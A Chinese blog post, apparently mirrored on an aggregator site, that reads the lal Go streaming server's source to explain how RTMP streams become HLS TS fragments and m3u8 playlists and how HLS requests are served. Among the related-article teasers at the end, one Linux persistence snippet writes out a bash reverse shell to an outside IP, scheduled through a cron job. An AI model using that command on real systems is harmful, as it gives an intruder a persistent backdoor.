Golang流媒体实战之七:hls拉流服务源码阅读

news2024/11/14 11:08:43

欢迎访问我的GitHub

这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos

本篇概览

  • 本文是《Golang流媒体实战》系列的第七篇,继续学习一个重要且通用的知识点:hls拉流
  • 在《体验开源项目lal》一文中,咱们先是用rtmp协议推流,然后就行了拉流操作,尽管只用rtmp推流,然而拉流的时候却可以使用多种协议:rtmp、flv、hls,这就有意思了,想必lal在处理推流数据时有特殊处理吧,所以才能用各种协议来拉流
  • 为了弄明白其中原因,本篇咱们就来阅读hls相关源码,看看rtmp推流时为hls做了什么,以及hls拉流时lal的详细逻辑
  • 关于hls和m3u8的细节,就在本篇展开了,这个仅给出一些关键信息作为参考
  • 参考资料:https://developer.ridgerun.com/wiki/index.php/HLS
  • m3u8格式
    在这里插入图片描述

《Golang流媒体实战》系列的链接

  1. 体验开源项目lal
  2. 回源
  3. 转推和录制
  4. lalserver的启动源码阅读
  5. Golang流媒体实战之五:lal推流服务源码阅读
  6. Golang流媒体实战之六:lal拉流服务源码阅读
  7. Golang流媒体实战之七:hls拉流服务源码阅读](https://xinchen.blog.csdn.net/article/details/130165581)

推流,初始阶段

  • 首先看推流处理,关于rtmp推流的源码,其实已在 《Golang流媒体实战之五:lal推流服务源码阅读》有详细分析,所以这里就不从头说起了,只挑出hls有关代码来看
  • 处理推流时,publish命令由server_session.go#doPublish方法负责处理,调用栈如下
server_session.go#doCommandMessage
->
doPublish
->
server.go#OnNewRtmpPubSession
->
server_manager__.go#OnNewRtmpPubSession
->
group__in.go#AddRtmpPubSession
->
addIn
  • 注意这个addIn方法中有下面这么一段代码
group.rtmp2MpegtsRemuxer = remux.NewRtmp2MpegtsRemuxer(group)
  • 也就是说,推流阶段,该流对应的group对象,其成员变量rtmp2MpegtsRemuxer是有值的,看名字,这个rtmp2MpegtsRemuxer变量负责的是将rtmp协议内的数据转为mpeg格式的时间分片文件
  • 记住这个group.rtmp2MpegtsRemuxer,稍后马上就会用到

推流,处理媒体数据阶段

  • 在《Golang流媒体实战之五:lal推流服务源码阅读》一文中咱们已经看过,lal收到媒体数据后,具体的处理逻辑是group__core_streaming.go#broadcastByRtmpMsg方法,里面有这么一段
	// # mpegts remuxer
	if group.rtmp2MpegtsRemuxer != nil {
		group.rtmp2MpegtsRemuxer.FeedRtmpMessage(msg)
	}
  • 展开上述FeedRtmpMessage方法的堆栈有点深,这里简化一下
rtmp2mpegts.go#FeedRtmpMessage
->
rtmp2mpegts_filter_.go#Push
->
rtmp2mpegts.go#onPop
->
feedVideo (这段代码比较复杂,值得细看)
->
onFrame
->
muxer.go#OnTsPackets
->
FeedMpegts
->
fragment.go#WriteFile
  • 上面这复杂的调用栈,重点是rtmp2mpegts_filter_.go的逻辑,先从入口Push方法看起,此方法的功能是从消息中取得音频和视频的codecID,用于确定ts文件所需的pat表和pmt表的内容
func (q *rtmp2MpegtsFilter) Push(msg base.RtmpMsg) {
	// q.done是个标志,一旦等于true,今后收到的消息都直接给观察者,
	// 但是等于true之前,收到的消息都放在切片中缓存起来,
	// 如果从消息中成功取得音频和视频的codecID,就在drain方法中把标准设置为true
	if q.done {
		q.observer.onPop(msg)
		return
	}

	// 将数据缓存到q.data
	q.data = append(q.data, msg.Clone())

	// 如果是音频消息或者视频消息,就可以得到对应的codecID
	switch msg.Header.MsgTypeId {
	case base.RtmpTypeIdAudio:
		q.audioCodecId = int(msg.Payload[0] >> 4)
	case base.RtmpTypeIdVideo:
		q.videoCodecId = int(msg.Payload[0] & 0xF)
	}
	
	// 一旦音频和视频的codecID都搜集到了,就执行drain,
	if q.videoCodecId != -1 && q.audioCodecId != -1 {
		q.drain()
		return
	}
	
	// 缓存存不下的时候也会执行drain
	if len(q.data) >= q.maxMsgSize {
		q.drain()
		return
	}
}

func (q *rtmp2MpegtsFilter) drain() {
	// 根据当前视频的codecId,确定ts文件的PAT,PMT格式
	switch q.videoCodecId {
	case int(base.RtmpCodecIdAvc):
		q.observer.onPatPmt(mpegts.FixedFragmentHeader)
	case int(base.RtmpCodecIdHevc):
		q.observer.onPatPmt(mpegts.FixedFragmentHeaderHevc)
	default:
		// TODO(chef) 正确处理只有音频或只有视频的情况 #56
		q.observer.onPatPmt(mpegts.FixedFragmentHeader)
	}
	
	// 将缓存的所有消息输出给观察者
	for i := range q.data {
		q.observer.onPop(q.data[i])
	}

	q.data = nil

	q.done = true
}

  • 从上述代码可见,随着根据CodecId的不同,pat、pmt包也有差别,具体定义在mpegts.go中,
    在这里插入图片描述

  • 上面的onPatPmt方法,对应的是lal/pkg/logic/group__core_streaming.go#OnPatPmt,展开看看,主要是group.hlsMuxer.FeedPatPmt方法被执行了,也就是PAT和PMT被存入group.hlsMuxer对象,至于后面的group.recordMpegts.Write,那个和录制有关,这里暂不关注

func (group *Group) OnPatPmt(b []byte) {
	group.patpmt = b

	if group.hlsMuxer != nil {
		group.hlsMuxer.FeedPatPmt(b)
	}

	if group.recordMpegts != nil {
		if err := group.recordMpegts.Write(b); err != nil {
			Log.Errorf("[%s] record mpegts write fragment header error. err=%+v", group.UniqueKey, err)
		}
	}
}
  • 回到主线,一旦PAT和PMT确定后,rtmp2MpegtsFilter的作用就非常单纯了:每当新消息到来,只调用观察者的onPop方法
func (s *Rtmp2MpegtsRemuxer) onPop(msg base.RtmpMsg) {
	switch msg.Header.MsgTypeId {
	case base.RtmpTypeIdAudio:
		s.feedAudio(msg)
	case base.RtmpTypeIdVideo:
		s.feedVideo(msg)
	}
}
  • 上述代码中的feedVideo方法,代码太长就不贴出了,主要功能是:先做合法性检查,再从一个消息中取出多个nalu逐个处理,主要是在关键帧前面放入SPS(Sequence Parameter Set)、PPS(Picture Parameter Sets),待这些都准备好之后就能组装好frame对象,然后调用rtmp2mpegts.go#onFrame
  • onFrame的作用:先调用frame.Pack方法做格式转换,得到ts格式的数据,再调用观察者的OnTsPackets方法
func (s *Rtmp2MpegtsRemuxer) onFrame(frame *mpegts.Frame) {
	s.adjustDtsPts(frame)
	//Log.Debugf("Rtmp2MpegtsRemuxer::onFrame, frame=%s", frame.DebugString())

	var boundary bool

	if frame.Sid == mpegts.StreamIdAudio {
		// 为了考虑没有视频的情况也能切片,所以这里判断spspps为空时,也建议生成fragment
		boundary = !s.videoSeqHeaderCached()
	} else {
		// 收到视频,可能触发建立fragment的条件是:
		// 关键帧数据 &&
		// (
		//  (没有收到过音频seq header) || 说明 只有视频
		//  (收到过音频seq header && fragment没有打开) || 说明 音视频都有,且都已ready
		//  (收到过音频seq header && fragment已经打开 && 音频缓存数据不为空) 说明 为什么音频缓存需不为空?
		// )
		boundary = frame.Key && (!s.audioSeqHeaderCached() || !s.opened || !s.audioCacheEmpty())
	}

	if boundary {
		s.opened = true
	}

	packets := frame.Pack()

	s.observer.OnTsPackets(packets, frame, boundary)
}

更新切片文件,将音视频数据写入切片文件

  • 接下来进入本篇的核心代码:生成新切片文件,关闭旧切片文件,将音视频数据写入新切片文件
  • OnTsPackets对应的是muxer.go#FeedMpegts:先用updateFragment方法执行关闭旧切片开启新切片的操作,再调用WriteFile把数据写入当前切片
func (m *Muxer) FeedMpegts(tsPackets []byte, frame *mpegts.Frame, boundary bool) {
	//Log.Debugf("> FeedMpegts. boundary=%v, frame=%p, sid=%d", boundary, frame, frame.Sid)
	if frame.Sid == mpegts.StreamIdAudio {
		// TODO(chef): 为什么音频用pts,视频用dts
		if err := m.updateFragment(frame.Pts, boundary, frame); err != nil {
			Log.Errorf("[%s] update fragment error. err=%+v", m.UniqueKey, err)
			return
		}
		if !m.opened {
			Log.Warnf("[%s] FeedMpegts A not opened. boundary=%t", m.UniqueKey, boundary)
			return
		}
		//Log.Debugf("[%s] WriteFrame A. dts=%d, len=%d", m.UniqueKey, frame.DTS, len(frame.Raw))
	} else {
		if err := m.updateFragment(frame.Dts, boundary, frame); err != nil {
			Log.Errorf("[%s] update fragment error. err=%+v", m.UniqueKey, err)
			return
		}
		if !m.opened {
			// 走到这,可能是第一个包并且boundary为false
			Log.Warnf("[%s] FeedMpegts V not opened. boundary=%t, key=%t", m.UniqueKey, boundary, frame.Key)
			return
		}
		//Log.Debugf("[%s] WriteFrame V. dts=%d, len=%d", m.UniqueKey, frame.Dts, len(frame.Raw))
	}

	if err := m.fragment.WriteFile(tsPackets); err != nil {
		Log.Errorf("[%s] fragment write error. err=%+v", m.UniqueKey, err)
		return
	}
}
  • 展开updateFragment去探寻核心代码,如下可见,一旦判定有必要启用新文件,就先调用closeFragment将当前TS文件关闭掉,再调用openFragment新建一个TS文件,判定条件有两个:当前TS文件存储内容是否超过一定长度,以及是否到达边界(boundary入参,如果是新的关键帧,此标志可能为true)
func (m *Muxer) updateFragment(ts uint64, boundary bool, frame *mpegts.Frame) error {
	discont := true

	// 如果已经有TS切片,检查是否需要强制开启新的切片,以及切片是否发生跳跃
	// 注意,音频和视频是在一起检查的
	if m.opened {
		f := m.getCurrFrag()

		// 以下情况,强制开启新的分片:
		// 1. 当前时间戳 - 当前分片的初始时间戳 > 配置中单个ts分片时长的10倍
		//    原因可能是:
		//        1. 当前包的时间戳发生了大的跳跃
		//        2. 一直没有I帧导致没有合适的时间重新切片,堆积的包达到阈值
		// 2. 往回跳跃超过了阈值
		//
		maxfraglen := uint64(m.config.FragmentDurationMs * 90 * 10)
		if (ts > m.fragTs && ts-m.fragTs > maxfraglen) || (m.fragTs > ts && m.fragTs-ts > negMaxfraglen) {
			Log.Warnf("[%s] force fragment split. fragTs=%d, ts=%d, frame=%s", m.UniqueKey, m.fragTs, ts, frame.DebugString())

			if err := m.closeFragment(false); err != nil {
				return err
			}
			if err := m.openFragment(ts, true); err != nil {
				return err
			}
		}

		// 更新当前分片的时间长度
		//
		// TODO chef:
		// f.duration(也即写入m3u8中记录分片时间长度)的做法我觉得有问题
		// 此处用最新收到的数据更新f.duration
		// 但是假设fragment翻滚,数据可能是写入下一个分片中
		// 是否就导致了f.duration和实际分片时间长度不一致
		if ts > m.fragTs {
			duration := float64(ts-m.fragTs) / 90000
			if duration > f.duration {
				f.duration = duration
			}
		}
		discont = false

		// 已经有TS切片,切片时长没有达到设置的阈值,则不开启新的切片
		if f.duration < float64(m.config.FragmentDurationMs)/1000 {
			return nil
		}
	}

	// 开启新的fragment
	// 此时的情况是,上层认为是合适的开启分片的时机(比如是I帧),并且
	// 1. 当前是第一个分片
	// 2. 当前不是第一个分片,但是上一个分片已经达到配置时长
	if boundary {
		if err := m.closeFragment(false); err != nil {
			return err
		}
		if err := m.openFragment(ts, discont); err != nil {
			return err
		}
	}

	return nil
}
  • 在closeFragment的代码中,还有个重要操作:调用writePlaylist方法生成m3u8文件
func (m *Muxer) writePlaylist(isLast bool) {
	// 找出时长最长的fragment
	maxFrag := float64(m.config.FragmentDurationMs) / 1000
	m.iterateFragsInPlaylist(func(frag *fragmentInfo) {
		if frag.duration > maxFrag {
			maxFrag = frag.duration + 0.5
		}
	})

	// TODO chef 优化这块buffer的构造
	var buf bytes.Buffer
	buf.WriteString("#EXTM3U\n")
	buf.WriteString("#EXT-X-VERSION:3\n")
	buf.WriteString("#EXT-X-ALLOW-CACHE:NO\n")
	buf.WriteString(fmt.Sprintf("#EXT-X-TARGETDURATION:%d\n", int(maxFrag)))
	buf.WriteString(fmt.Sprintf("#EXT-X-MEDIA-SEQUENCE:%d\n\n", m.extXMediaSeq()))

	m.iterateFragsInPlaylist(func(frag *fragmentInfo) {
		if frag.discont {
			buf.WriteString("#EXT-X-DISCONTINUITY\n")
		}

		buf.WriteString(fmt.Sprintf("#EXTINF:%.3f,\n%s\n", frag.duration, frag.filename))
	})

	if isLast {
		buf.WriteString("#EXT-X-ENDLIST\n")
	}

	if err := writeM3u8File(buf.Bytes(), m.playlistFilename, m.playlistFilenameBak); err != nil {
		Log.Errorf("[%s] write live m3u8 file error. err=%+v", m.UniqueKey, err)
	}
}
  • 还有个比较重要的地方,就是openFragment方法,里面是打开一个新的TS文件的操作:生成TS文件名,将准备好的PAT和PMT信息写入文件,调用观察者的回调接口
func (m *Muxer) openFragment(ts uint64, discont bool) error {
	if m.opened {
		return nazaerrors.Wrap(base.ErrHls)
	}

	id := m.getFragmentId()

	filename := PathStrategy.GetTsFileName(m.streamName, id, int(Clock.Now().UnixNano()/1e6))
	filenameWithPath := PathStrategy.GetTsFileNameWithPath(m.outPath, filename)

	if err := m.fragment.OpenFile(filenameWithPath); err != nil {
		return err
	}

	if err := m.fragment.WriteFile(m.patpmt); err != nil {
		return err
	}

	m.opened = true

	frag := m.getCurrFrag()
	frag.discont = discont
	frag.id = id
	frag.filename = filename
	frag.duration = 0

	m.fragTs = ts

	// nrm said: start fragment with audio to make iPhone happy
	m.observer.OnFragmentOpen()

	m.observer.OnHlsMakeTs(base.HlsMakeTsInfo{
		Event:          "open",
		StreamName:     m.streamName,
		Cwd:            base.GetWd(),
		TsFile:         filenameWithPath,
		LiveM3u8File:   m.playlistFilename,
		RecordM3u8File: m.recordPlayListFilename,
		Id:             id,
		Duration:       frag.duration,
	})

	return nil
}
  • TS文件名的生成逻辑很简单,用流名+时间戳+TS序号拼接
func (*DefaultPathStrategy) GetTsFileName(streamName string, index int, timestamp int) string {
	return fmt.Sprintf("%s-%d-%d.ts", streamName, timestamp, index)
}
  • 至此,生成逻辑的代码算是看过了,接下来要看播放逻辑

拉流播放

  • 要响应客户端的拉流请求,首先要准备好server服务,咱们就从server初始化看起
  • hls的server对象,是main方法中创建的,调用栈如下:
main()
->
logic.go#NewLalServer
->
server_manager__.go#NewServerManager
->
hls/server_handler.go#NewServerHandler
  • 上述代码创建了hlsServerHandler对象,存入sm.hlsServerHandler,接下来就是server_manager__.go#RunLoop启动hls服务,代码如下
	if err := addMux(sm.config.HlsConfig.CommonHttpServerConfig, sm.serveHls, "hls"); err != nil {
		return err
	}
  • 也就是说,下面这个方法负责响应hls请求
func (sm *ServerManager) serveHls(writer http.ResponseWriter, req *http.Request) {
	urlCtx, err := base.ParseUrl(base.ParseHttpRequest(req), 80)
	if err != nil {
		Log.Errorf("parse url. err=%+v", err)
		return
	}
	if urlCtx.GetFileType() == "m3u8" {
		// TODO(chef): [refactor] 需要整理,这里使用 hls.PathStrategy 不太好 202207
		streamName := hls.PathStrategy.GetRequestInfo(urlCtx, sm.config.HlsConfig.OutPath).StreamName
		if err = sm.option.Authentication.OnHls(streamName, urlCtx.RawQuery); err != nil {
			Log.Errorf("simple auth failed. err=%+v", err)
			return
		}
	}

	sm.hlsServerHandler.ServeHTTP(writer, req)
}
  • 对于hls的请求,处理逻辑的调用链
server_handler.go#ServeHTTP
->
ServeHTTPWithUrlCtx
  • 响应hls请求的关键是ServeHTTPWithUrlCtx,来看它的关键代码,其实很简单,就是根据请求到达文件名找到文件,读取内容并返回,注意代码注解中有详细说明
	// 根据请求信息生成读取TS或者M3U8文件的关键参数,例如流名和文件路径
	ri := PathStrategy.GetRequestInfo(urlCtx, s.outPath)
	//Log.Debugf("%+v", ri)

	// 合法性检查
	if filename == "" || (filetype != "m3u8" && filetype != "ts") || ri.StreamName == "" || ri.FileNameWithPath == "" {
		err = errors.New(fmt.Sprintf("invalid hls request. url=%+v, request=%+v", urlCtx, ri))
		Log.Warnf(err.Error())
		resp.WriteHeader(http.StatusFound)
		return
	}

	// 抽象过的读取文件操作,放入二进制切片,
	// 具体的读取操作有两种:从磁盘读取或者从内存读取,这取决于配置的是写入磁盘还是内存
	content, _err := ReadFile(ri.FileNameWithPath)
	if _err != nil {
		err = errors.New(fmt.Sprintf("read hls file failed. request=%+v, err=%+v", ri, _err))
		Log.Warnf(err.Error())
		resp.WriteHeader(http.StatusNotFound)
		return
	}
	
	// 根据文件类型不同,设置不同的响应header
	switch filetype {
	case "m3u8":
		resp.Header().Add("Content-Type", "application/x-mpegurl")
		resp.Header().Add("Server", base.LalHlsM3u8Server)
		// 给ts文件都携带上session_id字段
		if sessionIdHash != "" {
			content = bytes.ReplaceAll(content, []byte(".ts"), []byte(".ts?session_id="+sessionIdHash))
		}
	case "ts":
		resp.Header().Add("Content-Type", "video/mp2t")
		resp.Header().Add("Server", base.LalHlsTsServer)
	}
	resp.Header().Add("Cache-Control", "no-cache")
	resp.Header().Add("Access-Control-Allow-Origin", "*")
	
	if sessionIdHash != "" {
		session := s.getSubSession(sessionIdHash)
		if session != nil {
			session.AddWroteBytesSum(uint64(len(content)))
		}
	}

	// 响应
	_, _ = resp.Write(content)
	return
  • 至此,hls拉流服务的源码阅读已经完成,简单来说,就是一路RTMP的推流会在处理每个音视频消息的时候,实时生成m3u8文件,以及多个TS文件,这样每当hls拉流请求到达时,就可以根据指定的文件名返回已经生成的内容了
  • 简单清晰的逻辑,满满的知识点Get,再一次感谢lal的作者先生

你不孤单,欣宸原创一路相伴

  1. Java系列
  2. Spring系列
  3. Docker系列
  4. kubernetes系列
  5. 数据库+中间件系列
  6. DevOps系列

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420586.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

两种方法实现杨辉三角(java实现)

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了 博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点!人生格言&#xff1a;当你的才华撑不起你的野心的时候,你就应该静下心来学习! 欢迎志同道合的朋友一起加油喔&#x1f9be;&am…

AI 作图绘画的软件和网址

软件分享 分享软件一&#xff1a;NovelAI NovelAI是一个用于ai写文章的工具&#xff0c;大家可以给它文章标题框架&#xff0c;让它生成文章。后来这款工具进行功能拓展&#xff0c;完成了ai绘画功能&#xff0c;它支持我们上传草图生成图片&#xff0c;也支持我们通过画面描…

计算机网络思维导图,快快收藏学习啦!

第一章&#xff08;概述&#xff09; P0 - 计算机网络<思维导图> 第二章&#xff08;物理层&#xff09; P1 - 计算机网络<思维导图> 便签中的内容&#xff1a; ①香农公式&#xff1a;CW*Log2(1S/N) (bit/s) C:极限传输速率 W:信道带宽(单位Hz) S:信道内所传…

graylog实现日志监控

graylog graylog是一个轻量级的日志管理工具,依托elasticsearch作为日志存储中间件,MongoDB作为元数据信息存储中间件.自带WEB-UI界面,LDAP整合各种日志类型.提供了日志收集、日志查询、监控告警等相关功能。提供了graylog sidecar通过sidecar模式可以很方便的收集目标主机、容…

UEFI Protocol

一、概述 二、Protocol的定义 1、Protocol是服务器端和客户端之间的一种约定&#xff0c;在软件编程上称为接口&#xff0c;服务器端和客户端通过这个约定信息的互通。 2、服务器端和客户端在UEFI中都是可执行的二进制文件。 3、为了实现这些二进制文件之间的互通&#xff0c;…

nginx反向代理_负载均衡的配置

说明 两台虚拟机&#xff1a; 88节点是自己的虚拟机 66节点是小组成员的虚拟机&#xff0c;我们暂且叫同学机 tomcat端口&#xff0c;分别为8081和8082 总结就是&#xff1a; 自己虚拟机上面安装nginx和tomcat8082 同学机上安装tomcat8081 一、开始安装nginx&#xff08;只安装…

香港布局Web3.0 既是金融试探,也是未来战略

香港Web3.0协会成立的消息已在业内刷屏&#xff0c;作为跨业界的非盈利机构&#xff0c;该协会致力于促进Web3.0生态环境的建设&#xff0c;港府特首李家超和北京中央驻港联络办公室部分领导均出席了成立典礼。 李家超在致辞中表示&#xff0c;Web3.0的发展正值黄金起点&#x…

Vue随记

1、Vue模板语法 Vue模板语法有两大类&#xff1a; 1.1、插值语法 功能&#xff1a;用于解析标签体内容。 写法&#xff1a;{{xxxx}}&#xff0c;xxxx是js表达式&#xff0c;且可以直接读取到data中的所有属性。 1.2、指令语法 功能&#xff1a;用于解析标签&#xff08;包…

《鸟哥的Linux私房菜-基础篇》学习笔记

主要用来记录学习&#xff0c;如果能帮助到你那最好了。 数据流重导向 概念 cat /etc/crontab /etc/vbirdsay 标准输出&#xff1a;将cat的文件输出到屏幕上 标准错误输出&#xff1a;无法找到文件报错 *系统会将标准输出和标注错误输出都输出到屏幕上&#xff0c;看着比较乱…

Vue双向数据绑定原理

一. Vue双向数据绑定原理 Vue.js的双向绑定是通过响应式原理实现的。响应式原理就是当数据发生改变时&#xff0c;自动更新相关的视图和数据。下面是Vue.js双向绑定的详细解释和介绍&#xff1a; Vue.js通过 Object.defineProperty() 将数据对象的属性值绑定到对应的DOM元素上…

【数据结构启航!】数据结构开胃菜之顺序表

【数据结构启航&#xff01;】数据结构开胃菜之顺序表一、线性表简介二、目标三、实现1、初始化工作2、顺序表的尾插2.1、图解原理2.2、代码实现3、顺序表的尾删3.1、图解原理3.2、代码实现4、打印顺序表5、顺序表的增容6、顺序表的头插6.1、图解原理6.2、代码实现7、顺序表的头…

Javascript cookie和session

在网站中&#xff0c;http请求是无状态的&#xff0c;当我们与服务端做一次数据请求&#xff0c;请求完毕后&#xff0c;第二次数据请求服务器端仍然不知道是哪个用户&#xff0c;cookie的出现就是为了解决这个问题。 一 Session与Cookie的区别 1 相同点 它们都是用于存…

实战打靶集锦-016-lampiao

提示&#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名&#xff0c;为用户增加了额外的安全层。 对设备更新过程进行了显著改进&#xff0c;特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题&#xff1a; 方案一&#xff1a;给应用分配随机 datacenter-id和 worker-id 如下图&#xff1a; global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引&#xff08;二&#xff09;&#xff1a;如何实现入职申请单功能&#xff1f; 在上一篇文章《用友开发者中心应用构建实践指引&#xff01;》中&#xff0c;我们完成了应聘人员信息登记的配置&#xff0c;实现了面试者提交应聘信息&#xff0c;…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字…

appium自动化测试完整项目

前言 Appium是一个开源的自动化测试框架&#xff0c;支持跨平台&#xff0c;支持多种编程语言&#xff0c;可用于原生&#xff0c;混合和移动web应用程序&#xff0c;使用webdriver驱动ios&#xff0c;android应用程序、那么为了学习app自动化测试首要任务肯定就是搭建测试开发…

数据治理的核心框架和六大思维

请点击↑关注、收藏&#xff0c;本博客免费为你获取精彩知识分享&#xff01;有惊喜哟&#xff01;&#xff01; 数据成为新的生产力&#xff0c;必将引发数据生产关系的变革&#xff0c;而数据治理体系就代表着新的生产关系。近日发布的《广东省数据要素市场化配置改革理论研…